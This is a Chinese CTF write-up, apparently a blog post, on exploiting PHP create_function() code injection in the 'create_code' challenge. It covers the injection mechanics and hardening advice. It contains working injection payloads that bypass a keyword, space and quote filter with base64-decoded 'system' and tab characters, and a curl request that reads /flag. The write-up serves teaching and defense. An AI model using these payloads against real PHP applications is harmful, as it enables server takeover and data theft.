深育杯 2021 的 Web 题 create_code我到现在还记得当场做出来的过程。这道题入口极简页面上就一行提示“create your code”下面一个文本框、一个提交按钮没有多余的东西。很多队伍在这一题上卡到最后一小时不是因为难而是方向跑偏——大家拼命试前端模板注入、试 SSTI、试各种 RCE 绕过手法却忽略了一个最基础的 PHP 点create_function 这个函数本身就是天然代码注入点。这篇文章把完整思路、探测链路、payload 构造过程展开来写适合刷过一阵子 CTF、想彻底搞懂“函数参数可控导致的代码注入”这类题型的选手参考。1. 初探题目从一个输入框到定位 create_function1.1 先把最简单的东西丢进去观察它是“数据”还是“代码”拿到题目第一步我一般不会直接上大 payload而是先丢几个普通输入看页面反应。这里我先提交了一个hello页面老老实实回显了hello再提交11回显依然是11而不是2。这说明入口大概率不是简单的 eval 表达式计算也不是直接把输入塞进模板渲染。此时心里已经有数这是一个“输入会被包装成某种可执行载体”的题目但具体是什么载体还不清楚。接下来我做了一个很关键的试探提交}echo(x);//。这一串东西在普通输入框里没有任何意义但如果后端代码里存在字符串拼接式的代码生成花括号闭合和注释符就能强行改变生成结果。结果页面输出了一行意料之中的信息Deprecated: Function create_function() is deprecated in /var/www/html/index.php(3) : runtime-created function on line 1 x看到create_function()和runtime-created function这两个关键词我就知道这题稳了。页面的 Deprecated 警告是 PHP 7.4 环境下 create_function 被调用时自动产生的它直接暴露了后端处理逻辑提交的内容被拼进 create_function 的函数体里然后作为 PHP 代码执行。我注入的echo(x)成功跑了输出x前面那个}把 create_function 内部生成的匿名函数定义提前闭合了后面的//又把系统拼接出来的尾部括号注释掉从而实现了代码注入。1.2 通过报错与环境回显反推过滤规则锁定 create_function 之后接下来要摸清环境里到底有什么限制。我先试了一下phpinfo()结果页面没有任何输出基本可以判断 phpinfo 被放进了 disable_functions。这个不意外大多数 CTF 环境都会禁掉它。随后我又试了}system(id);//这一次没有回显命令结果页面直接返回了一个过滤提示。综合几次试探我整理出这个环境的“软规则”输入会先经过一层 WAF 正则过滤部分危险函数名比如system、exec、passthru、shell_exec、assert。空格被过滤直接传system(id)会被拦。单引号被过滤system(id)这种写法会被拦。base64_decode、双引号、$符号、花括号、分号、注释符等没有过滤。这种过滤设计在 CTF 的 PHP 题目里很典型它不是彻底封死你的利用路径而是逼你把 payload 做得“不那么直白”。真正的难点其实不在 create_function 本身而是在过滤规则下怎么把命令用出来。1.3 环境探测清单版本、可用函数与边界条件在开始构造 payload 之前我把这次侦察结果整理成一张表方便后面一步步对照着绕过探测项结论PHP 版本7.4create_function 已废弃但仍可用后端核心逻辑用户输入拼接进 create_function 的函数体参数disable_functions禁用 exec、shell_exec、passthru、proc_open、popen、phpinfo可用命令函数system 未被禁用可执行系统命令WAF 过滤过滤常见命令函数名、空格、单引号未过滤内容base64_decode、双引号、变量、花括号、分号、注释符为什么我坚持走命令执行而不是直接用 PHP 读文件因为在这个环境下file_get_contents、readfile、highlight_file这些文件读取函数大概率也被禁了与其一个个试不如直接拿 system 一把梭。后面也验证了这个路线是对的。2. create_function 注入的底层原理被 eval 拼出来的匿名函数2.1 create_function 的本质是一次包装过的 eval很多人只知道 create_function 能创建匿名函数不知道它内部实现有多粗暴。它本质上是把“函数声明”写成字符串然后交给 eval 执行。PHP 源码层面的逻辑大致等价于eval(function . $function_name . ( . $args . ) { . $code . });$function_name是系统自动生成的通常长这样lambda_0001。$args是函数参数列表$code是函数体。问题在于这三个部分全是字符串拼接没有任何结构化校验。只要其中一个片段来自用户输入而用户输入里含有}、//、?这类能改变语法边界的字符整个 eval 字符串就不再是“一个合法的匿名函数”而是“一段任意的 PHP 代码”。我用一个实际例子说明拼接过程。假设后端代码是$func create_function(, $_POST[code]);我提交的 payload 是}echo(x);//那么最终 eval 出来的字符串长这样function lambda_0001() { }echo(x);// }PHP 解析这个字符串时函数定义在第一个}处就结束了echo(x)是函数外部的代码立即执行最后的//把系统拼接的那个尾部}注释掉避免语法错误。整个结构被完全打乱但 PHP 依然能正常解析、执行。这里有个容易忽略的细节create_function的返回值是一个函数名字符串正常情况下你应该拿着这个函数名去调用它。但我们注入后函数体代码在 eval 阶段就已经执行了函数本身叫什么都不重要了。2.2 花括号闭合与注释符的完整推导很多新手第一次看到}system(id);//这种 payload 时不太理解为什么一个右花括号能产生代码执行效果。我用生活化的方式来类比create_function 像是在一张纸上预先印好了一句固定格式function 随机名() { 这里放你的代码 }你被允许往“这里放你的代码”的位置填内容。正常情况下你填的是合法函数体比如return $a;。但如果你填的是} 任意代码 //相当于你先用右花括号把前半句提前结束了然后在自己想写的位置写上完整可执行的 PHP 语句再用//把后半句印好的内容“涂掉”。纸上的内容最终变成function 随机名() { } 任意代码 // }任谁来看这都是一段合法的 PHP 脚本并且任意代码的部分会在函数定义之后、当前作用域内被立即执行。//不是唯一的“涂掉”手段。如果 WAF 过滤了//还可以用?来闭合。比如}echo(x);?拼接后是function lambda_0001() { }echo(x);?}?会直接把 PHP 模式切换到 HTML 模式后面的}会被当作普通文本输出不会参与语法解析天然不会报错。所以实战里}配合//或?都是常见闭合方式具体用哪个看过滤规则。2.3 两个注入点函数体和参数列表都能做文章create_function 上有两个拼接点第一个是参数列表$args第二个是函数体$code。很多人只盯着函数体忽略了参数列表同样危险。如果后端代码把用户输入拼到参数列表里比如create_function($_POST[args], return $a;);那么我提交一个精心构造的字符串到args一样能实现闭合逃逸。一个经典例子是$a){system(id);}//最终拼接出来的字符串是function lambda_0001($a){system(id);}//){ return $a; }参数列表里的)会提前结束参数定义{会开启函数体注入的system(id)变成函数体内容等函数被调用时执行。不过 create_code 这道题里后端把第一个参数硬编码成了空字符串所以主战场是函数体。但这提醒我们以后遇到任何动态拼接代码的函数都要考虑所有可控制的拼接片段而不仅是看起来最明显的那个。3. 过滤规则下的 Payload 构造绕不过去就换种写法3.1 第一版 payload 为什么会断在 system 和单引号上在确定注入点之后我最先尝试的是直球打法}system(id);//结果被 WAF 拦了。我把它拆开分析主要卡在两个地方system字符串直接触发了关键词正则被过滤。输入里的空格也被过滤哪怕双引号能用函数名过不了也是白搭。这里有一个心得WAF 拦你的时候不要急着加一堆混淆先搞清楚它到底拦了哪些字符。很多时候只需要把“看起来危险的部分”换一个表达就能绕过。系统函数名过滤是最容易处理的换一个表示方式就行了。3.2 绕过函数名过滤字符串拼接、base64 与动态调用第一种思路是字符串拼接。PHP 里sy.stem拼接后得到systemWAF 的正则如果只匹配连续字符串它就拦不住。但这里有个问题最终要形成一个可以调用的函数名光有字符串还不行还得配合可变函数调用。也就是把一个字符串存进变量然后$变量(...)来执行。第二种思路更直接把函数名用 base64 编码运行时再解码。system的 base64 是c3lzdGVt。注入的代码里不出现system这个明文WAF 自然无从匹配。具体写成}$abase64_decode(c3lzdGVt);$a(id);//这串代码在 PHP 里干了三件事先把c3lzdGVt解码得到字符串system然后把它赋值给变量$a最后用可变函数调用语法$a(id)执行命令。WAF 看到的输入里只有字母数字和符号完全碰不到它黑名单里的关键词。此外还有一种思路是直接用 PHP 的十六进制转义搭建字符串。比如}$a\x73\x79\x73\x74\x65\x6d;$a(id);//\x73\x79\x73\x74\x65\x6d还原出来就是system。不过这种写法容易把自己绕晕不如 base64 直观。我个人的偏好是优先 base64因为编码串是一串固定字符不容易出错十六进制转义可用于二次绕过但在 create_code 这道题环境下没必要。3.3 空格和单引号被过滤后的命令枚举思路函数名的问题解决了接下来处理空格和单引号。单引号在 payload 里可以直接用双引号替代这不是难题。空格就麻烦一点因为命令里到处都有空格。有个通用方案是制表符\x09。WAF 过滤的是空白字符里的空格不是制表符。PHP 双引号字符串里写\x09执行时会被解析为真实的 TAB 字符传到 shell 里shell 默认把 TAB 也当作参数分隔符。所以下面这种写法完全可行}$abase64_decode(c3lzdGVt);$a(ls\x09-la);//ls\x09-la在 PHP 里被解析成ls TAB -lashell 正常拆成两个参数。回显目录内容没问题。还有一种经典思路是${IFS}。这是 shell 内置的特殊变量默认值包含空格、TAB、换行。在某些环境下可以用cat${IFS}/flag代替空格。但在 create_function 注入场景里要非常小心我们的命令字符串是在 PHP 双引号里写的${IFS}会先被 PHP 当作变量插值解析。如果 PHP 环境里没有定义$IFS插值结果就是空字符串命令会变成cat/flag反而执行失败。这也是一个很有意思的坑我当初第一次用${IFS}翻车就在这里。如果一定要用${IFS}得在 PHP 字符串里写成\${IFS}把它转义为纯字符串确保传给 shell 的是$IFS原文。实际操作上没必要这么绕一个\x09就干净利落。定位 flag 时我一般先ls\x09-la看当前目录再根据情况尝试根目录。如果当前目录没有可以用}$abase64_decode(c3lzdGVt);$a(find\x09/\x09-name\x09\*flag*\\x092/dev/null);//这条命令会从根目录往下找文件名中包含flag的文件。注意2/dev/null里的在 HTTP 请求里不会触发过滤但如果你习惯用 URL 编码把它写成%3E也没问题。3.4 最终利用读 flag 的完整请求与执行链在我当时的环境里flag 就在根目录/flag下。最终执行的 payload 很简单}$abase64_decode(c3lzdGVt);$a(cat\x09/flag);//发送时我用 curl 的--data-urlencode来自动编码避免手动处理花括号和反斜杠的 URL 编码问题。完整命令如下curl -X POST http://target/index.php \ --data-urlencode code}$abase64_decode(c3lzdGVt);$a(cat\x09/flag);//这条请求到达服务端后整个过程可以拆成四步理解WAF 扫描 payload发现没有system、exec等黑名单关键词没有空格没有单引号直接放行。后端把 payload 拼进create_function(, $_POST[code])eval 后变成类似function lambda_0001() { }$abase64_decode(c3lzdGVt);$a(cat\x09/flag);// }的代码。前导}结束函数定义$a被赋值为system可变函数调用触发系统命令。命令里的\x09被 PHP 解析成 TABshell 收到的是cat /flag命令结果直接输出回显。这道题最终的 flag 就是通过这条链路拿到的。整个利用过程没有用到任何复杂 0day也没有绕过 PHP disable_functions 的高端技巧纯粹是对“字符串拼接式代码生成”这一本质的把握。4. 赛题复盘加固思路与同类题型迁移4.1 如果我来修这个洞第一刀切哪里复盘一道题最好的方式是把自己代入出题人和维护者的视角想想怎么修能让它不再被绕过。针对 create_code 这个场景最彻底的修法有几点第一直接不用 create_function。PHP 7.4 下可以用匿名函数Closure替代PHP 8 干脆移除了 create_function升级版本后这类漏洞直接失效。这是最省事的方案。第二如果业务上必须动态创建函数就要对输入做白名单校验而不是黑名单过滤。黑名单永远防不住各种编码绕过。比如只允许[a-zA-Z0-9_\-*/%]这样的数学表达式字符那么花括号、分号、引号根本没有进入字符串拼接的机会。第三从纵深防御角度看disable_functions 里不要只禁 exec、shell_exec 这类常见函数system 也是命令执行入口。但说实话在代码注入点面前禁用函数只是降低危害不能消除问题。真正要命的是“用户输入进入 eval 字符串”这个结构本身。4.2 create_function 的“精神继承者”eval、Function 与模板注入create_function 不是唯一一个存在这种问题的点。所有“把输入拼接进代码字符串再执行”的机制本质上都是一类病。比如 PHP 的eval($result $input;)如果$input是用户可控的注入1; system(id); //就能逃逸出表达式范围。再比如 JavaScript 的Function(return code)构造器和 create_function 几乎一模一样参数和函数体都可以做闭合注入。还有一类容易被忽略的是模板引擎注入。像 Smarty、Twig、Jinja2 这类模板会把用户输入编译成 PHP 或 Python 代码如果模板语法里的表达式可控往往也能造成代码注入。近年来的 CTF 题很喜欢把这些点包装成“SSTI”其实底层逻辑和这次的 create_function 是相通的输入被当作代码的一部分来处理而没有经过严格隔离。我把这些类型整理成一张迁移表注入载体拼接形态逃逸要点create_functionfunction name(args){code}闭合}注释尾}evaleval($r $expr;)注入;结束语句//注释后续断言函数assert($expr)传入字符串或带副作用表达式Function 构造器Function(return code)闭合 return拼接任意 JSSmarty/Twig 模板模板编译为 PHP 代码利用模板表达式调用危险函数理解了这一层你就不会觉得 create_code 是一道孤立题目了。刷题时碰到 eval、assert、模板引擎都该往这个方向想一想。4.3 值得练进肌肉记忆的底层能力从一个普通参赛者的视角我认为这道题真正值得沉淀的不是某个特定 payload而是三个反复出现的底层能力。第一输入探测要有“这可能是个代码拼接点”的意识。如果你只会在输入框里提交11然后期待它算出 2就永远发现不了 create_function。正确做法是主动提交带语法边界字符的输入比如}、、、;、//观察报错或回显变化。报错里出现的函数名比任何扫描器都可靠。第二WAF 绕过要系统化不要东试一个西试一个。碰到过滤先分类是过滤了函数名还是过滤了引号还是过滤了空格函数名可以用 base64、字符串拼接、可变函数来绕过空格可以用\x09、${IFS}替代引号可以换类型或者拼接字符。分类处理效率高得多。第三对 PHP 版本和废弃函数要敏感。create_function 在 PHP 7.2 开始标记废弃PHP 8 彻底移除。看到题目环境是 PHP 7.4你就会想到“这个函数还能用”看到 PHP 8再遇到 create_code 大概率是别的考点。类似的知识点还有assert在 PHP 8 后不再默认执行字符串代码、preg_replace的/e修饰符在 PHP 7 之后被移除。这些都是 CTF 出题人特别爱埋的点。这道题做完后我在复盘时给自己定了一条规矩凡是看到 create_function、eval、assert、Function 构造器出现在题目里直接默认它就是要被注入的突破口先试闭合逃逸不要纠结它到底过滤了什么。这条经验后来帮我解决了不少题也让我在自己写代码时看到字符串拼接式的 eval 就下意识警觉。create_code 不只是一道题目它更像是一把通用钥匙能打开一类题型的大门。
企业数字化 ERP 产品动态
相关推荐
macOS 26升级后罗技G HUB打不开?从权限排查到彻底修复的完整指南 自打把 Mac 升级到 macOS 26 之后,我手里的罗技 G HUB 就直接摆烂了——点图标没反应,Dock 栏跳两下就消失,强制退出重开还是一样。去罗技官网看了眼,社区里哀鸿遍野,从 G613 到 G502 的用户全在问同一个问题。这篇文章… · 2026/9/26 4:48:49
Windows Hyper-V显卡直通(DDA)实战:让虚拟机调用物理GPU 给虚拟机装显卡这事儿,是我在 Windows 生态里折腾过最让人上瘾又最让人崩溃的操作之一。简单说,Windows Hyper-V 显卡直通就是把物理显卡从宿主机手里“抢”过来,直接交给虚拟机(VM)使用,让虚拟机里的 Wind… · 2026/9/26 4:48:49
VS Code配置C++环境全攻略:从MinGW到CMake实战 VSCODE 配置C环境如果你刚开始学 C,或者从 Dev-C、Visual Studio 转到 VS Code,第一件事基本都是在网上搜“vscode配置c环境”,然后跟着一篇教程装插件、改配置、写第一段 Hello World。我当年也是这么过来的,配置过程谈不上难&am… · 2026/9/26 4:48:49
大白菜U盘PE制作与系统引导修复全指南 1. 这不是“一键重装”,而是你真正该掌握的系统急救能力大白菜U盘PE——这五个字在电脑维修店、IT支持群、学生宿舍和家庭书房里,几乎就是“系统救星”的代名词。它不神秘,但很多人用得稀里糊涂:点开大白菜官网下载个安装包&#… · 2026/9/26 5:25:05
Word公式粘贴到WordPress乱码?转LaTeX+MathJax一步搞定 在Word里辛辛苦苦排好的公式,复制粘贴到WordPress后台,刷新一看,要么变乱码、要么整个公式“凭空消失”,这种情况你做WordPress建站或维护博客时大概率碰到过。尤其是有数学、物理、工程内容的站长,对这种“公式显示异… · 2026/9/26 5:25:05
开放式代码评审实战指南:从流程负担到团队成长引擎 干过几年研发、带过团队、也换过几家公司之后,我越来越觉得“code review”这件事是拉开技术团队水平差距的关键一环。很多人把评审当成流程负担,走个过场点个赞,但我一直坚持做“开放式代码评审”(open-code-review)—… · 2026/9/26 5:25:05
两阶段鲁棒优化在微网调度中的Matlab实现与CCG算法详解 很久之前就想写一篇关于微网调度鲁棒优化的文章,因为这一块理论公式多、实现门槛高,网上大多是PPT级科普,真正能跑通的Matlab代码却少得可怜。这个项目正是冲着这个痛点去的:用两阶段鲁棒优化处理风电、光伏和负荷的不确定性&… · 2026/9/26 5:25:05
AMD平台本地部署Qwen3.8-Flash-Next实测指南 1. 为什么是AMD平台?——端侧AGI推理的硬件逻辑重构“AMD 395本地部署Qwen3.8-Flash-Next实测”这个标题里,第一个关键词不是模型、不是框架,而是AMD。很多人看到“本地部署大模型”,第一反应是查显存、翻NVIDIA官网、确认CUDA版本… · 2026/9/26 5:24:59
Notepad++主题配置全攻略:从XML结构到自定义踩坑 简介:长时间用 Notepad 写代码、改配置的人,常会因为默认主题过于刺眼而影响效率,这套资源正是为解决这个问题准备的一套界面主题。包体为 rar 压缩格式,共 2 个文件:一个 XML 主题文件承载 KamiTheme 主题本体&#x… · 2026/9/26 5:24:59
数据库课后习题答案别硬背:当测试用例集刷,效率翻倍 简介:万常选版《数据库原理与设计》课后习题答案资源,覆盖第2至6章及第9章,适合正在学习关系模型、数据库建模、关系数据理论与模式求精的本科生、自学者作为复习与自测材料。压缩包共7个文件,含3个doc参考答案、2个sql示例脚本、… · 2026/9/26 0:00:21
OpenClaw 替代品?Hermes Agent 踩坑实录:macOS 飞书接入 TaoToken 配置 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 0:00:40
向下兼容与向上兼容:接口设计中的兼容性策略与工程实践 一次版本升级事故,是很多团队绕不过去的坎。线上环境里,服务端明明已经上线了新版接口,老的移动端还在照着旧文档传参数。请求一到网关,校验直接拒绝,用户操作失败,客服群炸了锅,开发群里开始互… · 2026/9/26 0:00:46